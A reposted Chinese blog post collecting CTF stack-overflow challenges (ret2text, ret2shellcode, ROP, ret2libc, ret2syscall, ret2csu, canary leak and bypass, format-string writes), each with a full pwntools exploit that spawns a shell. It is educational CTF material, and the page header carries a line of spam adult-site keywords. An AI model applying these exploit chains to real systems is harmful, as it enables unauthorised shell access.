日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

pwn学习总结(三) —— 栈溢出经典题型整理

發布時間:2025/3/21 编程问答 19 豆豆
生活随笔 收集整理的這篇文章主要介紹了 pwn学习总结(三) —— 栈溢出经典题型整理 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

pwn學習總結(三) —— 棧溢出經典題型整理

  • ret2text
  • ret2shellcode
  • rop
  • ret2libc
  • 使用DynELF實現遠程libc泄露
  • ret2syscall
  • ret2libc
  • ret2csu
  • leak canary
  • bypass canary
  • 格式化字符串漏洞

ret2text

平臺:jarvisoj
題目:level0
鏈接: https://pan.baidu.com/s/137PzVauKmXQ7ACaoY-5X_w 密碼: jnc3

查看程序防護

查看反匯編

exp

from pwn import * import pwnr = pwn.remote('pwn2.jarvisoj.com', 9881)# buf rbp callsystem payload = 'a'*0x80 + 'b'*8 + p64(0x400596)r.sendline(payload) r.interactive()

getshell

ret2shellcode

平臺:jarvisoj
題目:level1
鏈接: https://pan.baidu.com/s/1cbJ_hzkAQgDLzXYW5zAEaw 密碼: fmk3

查看程序防護

反匯編

本地運行

exp

# -*- coding: UTF-8 -*- from pwn import *r = pwn.remote('pwn2.jarvisoj.com', 9877)# 截取buf的地址 buf_addr = int(r.recvline()[14:-2], 16)# 生成一段標準shellcode shellcode = asm(shellcraft.sh()) + '\x00'# 由于buf被填充為shellcode,且buf地址已知,因此可以讓程序跳到buf執行shellcode # shelloce后面填充'a' ebp 返回地址為buf的地址 payload = shellcode.ljust(0x88, 'a') + 'b'*4 + p32(buf_addr)r.sendline(payload) r.interactive()

get shell

rop

平臺:jarvisoj
題目:level2
鏈接: https://pan.baidu.com/s/15Csf9bL-rUuO1ksdncGvKg 密碼: 8jfu

查看文件防護

查看反匯編


exp

# -*- coding: utf-8 -*- from pwn import *r = remote('pwn2.jarvisoj.com', 9878) elf = ELF('./level2')junk = 'a'*(0x88+4) system_addr = elf.symbols['system'] bin_sh_addr = elf.search('/bin/sh').next()# buf+ebp ret_addr 任意 參數 payload = junk + p32(system_addr) + p32(0) + p32(bin_sh_addr) #p32(0)為system函數的返回地址 #返回前已經執行了system('bin/sh'),所以這里可以任意填充r.send(payload) r.interactive()

getshell

ret2libc

平臺:jarvisoj
題目:level3
鏈接: https://pan.baidu.com/s/12t108vtx80Hwe0CmxQYsfw 密碼: jejt

查看文件防護

已知信息

  • level3存在溢出
  • level3中system函數
  • level3中’/bin/sh’字符串
  • 提供了libc文件,libc中存在system函數與’/bin/sh’字符串
  • 目的:獲得system函數與’/bin/sh’字符串在libc中的內存地址并進行調用

    exp

    # -*- coding: utf-8 -*- from pwn import *r = remote('pwn2.jarvisoj.com', 9879)level3 = ELF('./level3') libc = ELF('./libc-2.19.so')junk = 'a' * (0x88 + 4)func_vul_addr = 0x804844bwrite_plt = level3.symbols['write'] write_got = level3.got['write']#write(int fd, const void *buf, size_t n) #通過write函數獲得write的got地址,即在libc模塊中的地址 #write函數執行時,got表中的地址已經被重寫為write在內存中的實際地址 #調用write后,令其返回到vul函數,目的是為了再次執行read # ret_addr write的返回地址 fd buf n payload1 = junk + p32(write_plt) + p32(func_vul_addr) + p32(1) + p32(write_got) + p32(4)r.recvuntil("Input:\n") r.sendline(payload1)write_addr = u32(r.recv(4))#函數在libc中的plt地址 libc_write_plt = libc.symbols['write'] libc_system_plt = libc.symbols['system'] libc_bin_sh_plt = libc.search('/bin/sh').next()#計算libc中write函數GOT與PLT的偏移,可以通過偏移定位其它函數在內存中的地址 libc_offset = write_addr - libc_write_pltsystem_addr = libc_system_plt + libc_offset bin_sh_addr = libc_bin_sh_plt + libc_offset# ret_addr 任意 參數:'/bin/sh' payload2 = junk + p32(system_addr) + p32(0xdeadbeef) + p32(bin_sh_addr)r.recvuntil("Input:\n") r.sendline(payload2)r.interactive()

    getshell

    使用DynELF實現遠程libc泄露

    平臺:jarvisoj
    題目:level4
    鏈接: https://pan.baidu.com/s/1nHduB7t8ZLX2P4rVv28Vjw 密碼: aed3

    查看文件防護

    查看反匯編

    exp

    # -*- coding: utf-8 -*- from pwn import *r = remote('pwn2.jarvisoj.com', 9880)elf = ELF('./level4')write_plt = elf.symbols['write'] vul_addr = 0x804844bjunk = 'a'*(0x88+4)#DynELF函數 #條件:能夠實現任意地址讀,并且能夠反復觸發 def leak(address):# ret_addr write返回地址 參數1 參數2 參數3payload1 = junk + p32(write_plt) + p32(vul_addr) + p32(1) + p32(address) + p32(4)r.sendline(payload1)data = r.recv(4)return data#使用DynELF遠程泄露libc memory = DynELF(leak, elf=elf) #搜索遠程libc中system函數的地址 system_addr = memory.lookup('system', 'libc')bss_addr = 0x804a024 read_plt = elf.symbols['read']# ret_addr read返回地址 參數1 參數2 參數3 payload2 = junk + p32(read_plt) + p32(vul_addr) + p32(0) + p32(bss_addr) + p32(8) r.sendline(payload2) #在bss段中寫入'/bin/sh',注意00截斷 r.send('/bin/sh\x00')#調用system('bin/sh') payload3 = junk + p32(system_addr) + p32(0) + p32(bss_addr) r.sendline(payload3)r.interactive()

    getshell

    ret2syscall

    平臺:ctf wiki
    題目:ret2syscall

    查看程序防護

    查看反匯編

    計算 input 到 ebp 的偏移量



    syscall條件

    eax = 0xb ebx 指向 /bin/sh 的地址 ECX = 0 EDX = 0

    exp

    #-*- coding: utf-8 -*- from pwn import * context.log_level = 'debug'elf = ELF('./rop') r = process('./rop')pop_eax_ret = 0x80bb196 pop_edx_ecx_ebx_ret = 0x806eb90bin_sh = elf.search('/bin/sh\x00').next() int_0x80 = 0x8049421payload = 'a'*0x6c + 'b'*4 payload += p32(pop_eax_ret) + p32(0xb) payload += p32(pop_edx_ecx_ebx_ret) + p32(0) + p32(0) + p32(bin_sh) payload += p32(int_0x80)r.sendline(payload) r.interactive()

    getshell

    ret2libc

    平臺:wiki
    題目:ret2libc3

    查看程序防護

    查看反匯編

    解題思路

  • 通過puts函數leak已調用過的函數的got地址
  • 通過leak出的地址的后12位偏移查找libc版本(即使開啟ASLR,后三個字節不變)
  • 確定libc版本后,可以通過LibcSearcher計算libc中的其它函數的地址,也可以手動計算
  • 調用libc中的函數執行系統命令,從而getshell
  • exp

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug' #context.arch = 'i386'/'amd64'elf = ELF('./ret2libc3') #libc_so = ELF('./') sh = process('./ret2libc3') #sh = remote('', )main_addr = 0x80484d0 puts_plt = elf.symbols['puts'] puts_got = elf.got['puts']sh.recvuntil('Can you find it !?')payload = 'a'*0x6c + 'b'*4 payload += p32(puts_plt) + p32(main_addr) + p32(puts_got)#pwnlib.gdb.attach(proc.pidof(sh)[0]) sh.sendline(payload) puts_addr = u32(sh.recv(4))libc = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc.dump('puts')#########################################################system_addr = libc_base + libc.dump('system') bin_sh_addr = libc_base + libc.dump('str_bin_sh')sh.recvuntil('Can you find it !?')payload = 'a'*0x6c + 'b'*4 payload += p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)sh.sendline(payload) sh.interactive()

    getshell

    ret2csu

    平臺:jarvisoj
    題目:level5
    鏈接: https://pan.baidu.com/s/1StEDa6JRGmBWZcNxLiFa3Q 密碼: ctlv

    查看程序防護

    查看反匯編

    已知信息

  • 存在棧溢出漏洞
  • 文件中不存在system函數與’/bin/sh’字符串
  • 存在__libc_csu_init,即存在萬能gadgets
  • 解題思路

  • 利用萬能gadgets讀取write函數在內存中的地址
  • 通過write地址的后12位偏移和LibcSearcher模塊獲得libc版本
  • write地址減去write在libc中的偏移得到libc在內存中的基地址
  • 使用LibcSearcher模塊dump出execve的基地址
  • 利用萬能gadgets向bss段中寫入execve的地址和’/bin/sh’字符串
  • 利用萬能gadgets調用execve(’/bin/sh’)
  • exp

    #-*- coding: utf-8 -*- from pwn import * from LibcSearcher import LibcSearcher #context.log_level = 'debug'elf = ELF('./level5') #libc_so = ELF('./') sh = process('./level5') #sh = remote('', )#pop_rbx_rbp_r12_r13_r14_r15_ret csu_pop = 0x40061A #call [r12 + rbx*8] csu_end = 0x400600main_addr = elf.symbols['main'] write_got = elf.got['write']#萬能gadgets def csu(rbx, rbp, r12, r13, r14, r15, ret_addr):payload = 'a'*0x80 + 'b'*8payload += p64(csu_pop) + p64(rbx) + p64(rbp) + p64(r12) + p64(r13) + p64(r14) + p64(r15)payload += p64(csu_end)payload += 'a'*0x38payload += p64(ret_addr)sh.sendline(payload)sleep(0.2)sh.recvuntil('Hello, World\n') #獲得write函數地址 csu(0, 1 , write_got, 8, write_got, 1, main_addr) write_addr = u64(sh.recv(8))#通過后12位偏移查詢libc版本 libc = LibcSearcher('write', write_addr) #libc基地址 = write地址 - write偏移 libc_base = write_addr - libc.dump('write')#######################################################read_got = elf.got['read'] execve_addr = libc_base + libc.dump('execve') bss_addr = elf.bss()sh.recvuntil('Hello, World\n') #向bss段寫入execve地址與'/bin/sh'字符串 csu(0, 1, read_got, 16, bss_addr, 0, main_addr) sh.send(p64(execve_addr) + '/bin/sh\x00')#######################################################sh.recvuntil('Hello, World\n') #調用execve('/bin/sh\x00') csu(0, 1, bss_addr, 0, 0, bss_addr+8, main_addr)sh.interactive()

    getshell

    leak canary

    鏈接: https://pan.baidu.com/s/11oTViENfx29VsP5zylq54g 密碼: w4d9

    查看程序防護

    查看反匯編

    前置知識

  • canary值是一串隨機數,用于檢測棧溢出
  • 開啟棧溢出保護后,canary位于rbp-8的位置
  • 在64位elf程序中,canary值占七個字節,第一個字節為’\x00’Low address| 局部變量 |+-----------------+rbp-8 => | canary value |+-----------------+rbp => | old ebp |+-----------------+| return address |+-----------------+| args | High address
  • 已知信息

  • 程序開啟了棧溢出保護
  • main函數第11行能夠泄露棧數據
  • main函數第13行存在棧溢出
  • 存在后門函數
  • 利用思路

  • 利用第一個read函數覆蓋canary的第一個字節
  • 利用printf泄露出后七位canary
  • 利用第二個read還原canary的值并造成棧溢出,覆蓋返回地址到后門函數的位置
  • exp

    from pwn import *sh = process('./demo')sh.sendline('a'*0x28) #'a'*0x28+'\n'sh.recvuntil('Hello ' + 'a'*0x28) canary = u64(sh.recv(8))-0xA #sub ASCII('\n') #print hex(canary)backdoor = 0x40076B# canary rbp ret_address pd = 'a'*0x28 + p64(canary) + p64(0) + p64(backdoor) sh.send(pd)sh.interactive()

    getshell

    bypass canary

    鏈接: https://pan.baidu.com/s/1nERJBuDPi-qJSTeHO6TGng 密碼: ji38

    查看程序防護
    查看反匯編
    已知信息

  • 程序開啟了棧溢出保護
  • main函數能夠向棧中輸入六個8字節整數
  • 輸入第四個整數時覆蓋到canary,產生棧溢出
  • 存在后門函數
  • 利用思路

  • scanf在讀入’+’,’-'這類字符后,不會向內存中寫入數據
  • 寫入到canary的位置時,使用上述scanf的特性進行繞過
  • 讀入第六個整數時剛好能夠覆蓋到返回地址,將其覆蓋為后門函數的位置
  • exp

    from pwn import *sh = process('./pwn')backdoor = 0x40079Bfor i in range(5):sh.sendline('+')sh.sendline(str(backdoor))sh.interactive()

    getshell

    格式化字符串漏洞

    平臺:NCTF2019
    題目:pwn me 100 year!(II)
    鏈接: https://pan.baidu.com/s/1RPS4ssGTg_VNjgLZI504_A 密碼: ebwu

    查看程序防護

    定位漏洞點



    已知信息

  • 存在兩處格式化字符串漏洞
  • 第一個printf可以用來leak src的地址,在sub_C54函數中,前十六個字節會被src覆蓋,所以在sub_BD6需要先填充16個字節(兩個函數的buf在棧中的位置相同)
  • srcdword_200E0的偏移為0x60個字節,如有需要可以在IDA中進行查看
  • 第二個printf可以用來對dword_200E0進行寫入
  • exp

    #-*- coding: utf-8 -*- from pwn import * #context.log_level='debug'#r = remote('139.129.76.65',50005) r = process('./pwn_me_2')#填充src,并獲取src的地址 payload1 = 'a'*16 + '%llx' r.sendline(payload1) r.recvuntil('preparing......\n') # src 與 dword_2020E0 的偏移為 0x60 dword_2020E0_addr = int(r.recv(12), 16) + 0x60''' 備注:1. 寫入的值 = 之前輸出過的字節數的總和2. '%??c'表示輸出??個空格3. '??$'表示第??個成員4. '$hn'表示寫入的寬度為2個字節5. 一次性寫入4字節寬度的話需要一次性輸出0x66666666個字符,數量太多,會導致printf函數崩潰 ''' r.recvuntil('what do you want?\n') #向dword_2020E0_addr寫入0x6666 payload2 = "%" + str(0x6666) + "c%10$hn" #13 byte #向dword_2020E0_addr+2寫入0x6666 payload2 += "%" + str(0x16666 - 0x6666) + "c%11$hn" #13 byte #前面一共寫入了26個字符,為了棧對齊,補6個'a',到32個字符 payload2 += 'aaaaaa' #前六個成員為rdi, rsi, rdx, rcx, r8, r9 #dword_2020E0_addr 為第10個成員(棧中第5個成員,下標為10) payload2 += p64(dword_2020E0_addr) #dword_2020E0_addr+2為第11個成員(棧中第6個成員,下標為11) payload2 += p64(dword_2020E0_addr+2)r.sendline(payload2) r.interactive()

    getshell

    總結

    以上是生活随笔為你收集整理的pwn学习总结(三) —— 栈溢出经典题型整理的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。